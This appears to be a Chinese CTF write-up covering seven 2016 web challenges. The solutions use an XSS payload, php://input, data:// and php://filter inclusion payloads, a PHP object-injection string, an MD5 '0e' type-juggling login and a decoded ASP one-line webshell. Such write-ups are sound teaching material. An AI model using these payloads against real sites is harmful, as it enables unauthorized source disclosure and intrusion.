0x01 签到题
思路:相信会用微信的你都会解决这道题:)
感谢关注humensec,胡门网络为您精诚服务!
本次CTF竞技赛flag提交格式为:flag_Xd{hSh_ctf:TheKeyYouGet}
本题flag:flag_Xd{hSh_ctf:WelcomeTo2016XiDian&HumenHS}
0x02 打不过~
思路:先F12检查submit代码,讲disable改为type="submit",然后输入admin点击提交,同时在浏览器 network下查看返回包头部分(或者burp抓包):
base64解密str得到32位,解密md5得到1931b,再次提交得到flag:
flag is:flag_Xd{hSh_ctf:XD_aA@lvmM}
0x03 简单js
思路:F12查看源代码,得到js内容:
document.oncontextmenu=function(){return false};
var a,b,c,d,e,f,g;
a = 1.2;
b = a * 5;
c = a + b;
d = c / b + a;
e = c - d * b + a;
f = e + d /c -b * a;
g = f * e - d + c * b + a;
a = g * g;
a = Math.floor(a);
function check(){
if(document.getElementById("txt").value==a){
return true;
}else{
alert("密码错误");
return false;
}
}
到这里就有两种方法了,一是直接在Firebug里面查看DOM,它会直接表示出所有的参数值,提交a参数值即可得到flag;
二是利用浏览器本身的Console(控制台)把js代码拖进去直接get到的结果即为key值。提交可得到flag:
0x04 弹弹弹
思路:进去看到title为XSS原理,看来是考XSS的了,这里我直接利用Burp抓包,然后在intruder里面利用Burp自带的XSS Fuzzing进行快速fuzz,在Payload为:<DIV STYLE="width: expression(alert('XSS'));">
时,得到flag如图:
0x05 233
思路:看着名字就是个脑洞题。右键查看源代码看到了熟悉的js escape,由于js量是在太大了,不好拖动复制,索性直接Ctrl+A Ctrl+C 然后放到Sublime里面删掉其余部分,然后将js escape部分拿到Firefox Console里面Enter下:
看到弹出了熟悉的一句话“加密”的方式。┼攠數畣整爠煥敵瑳∨䁥祳ぴ㍧≴┩>
,先保存到txt文件里面,这里要注意保存的时候选择编码方式为Unicode,不然会出错。然后用utf-8 tool工具转换下,得到明文一句话铮?% execute request("e@syt0g3t")%>
,提示的flag形式为flag形式:flag_Xd{hSh_ctf:一句话密码}
最后得到flag为:
flag_Xd{hSh_ctf:e@syt0g3t}
0x06 php很烦人
思路:右键查看源代码:
you are not admin !
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->
算是一道php审计题吧,先要加入user参数,而且要满足最后得到的user参数结果为 “the user is admin”,这里我介绍两种方法:
一是利用php伪协议:/index.php?user=php://input ,同时利用Hackbar发送post数据为 the user is admin ,如图:
二是理由data协议:/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4= 。即将the user is admin 用base64的方式传入服务器。
然后是看到helle admin! 到这个时候,file参数可以包含class.php文件,pass参数还不知道,这时,同样利用php伪协议来查看class.php源码,payload如下:http://huashan.xdsec.cn/php/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=php://filter/convert.base64-encode/resource=class.php
,get到源码如下:
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
?>
然后构造出pass参数以获取flag,payload如下
http://huashan.xdsec.cn/php/?user=data://text/plain;base64,dGhlIHVzZXIgaXMgYWRtaW4=&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:10:"./f1a9.php";}
成功get到flag:
0x07 系统管理
思路:这里考察了php弱类型比较+php序列化与反序列化。 右键查看源代码,看到注释部分:
<!-- $test=$_POST['username']; $test=md5($test); if($test=='0') -->
为了能够满足注释部分的条件,需要让md5($test)的开头为0e, 如's1091221200a',以此为用户名登录看到了user.php,:
访问user.php得到了php源码如下:
$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???') {
print_r($flag);
}
根据这里反序列化得到password=a:2:{s:4:"user";b:1;s:4:"pass";b:1;} ,然后以此为密码,配合上面的弱类型用户名登录系统可得到flag:
ps:技术太菜,剩下4道题没有做出来啦!之后看了官方wp后我会同步到这里。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论